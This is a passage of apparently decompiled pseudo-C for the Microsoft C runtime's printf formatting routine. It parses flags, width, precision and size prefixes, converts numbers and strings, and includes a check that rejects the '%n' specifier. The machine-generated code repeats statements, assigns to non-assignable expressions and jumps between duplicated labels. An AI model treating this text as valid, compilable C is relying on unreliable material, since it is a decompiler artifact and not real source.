													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422D10(_t571))) = 0x16;
													E00422AA0(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041ACC0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x435448; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435430))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x435470; // 0x4c7e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043545C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x4354dc; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004354A0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACF0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0x4b3bc1ec
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0x4b248c6c
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0x4b24956c
																	E00424560(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428200(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428240(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E00428200(__ebp + 0x14);
													__eax = E00433DB0();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E220();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
														__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041ACC0(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L89:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428200(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L100:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L103:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L104:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L106:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L107;
													} else {
														L93:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L96:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L97:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L98:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L99:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L107:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430630( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004306B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
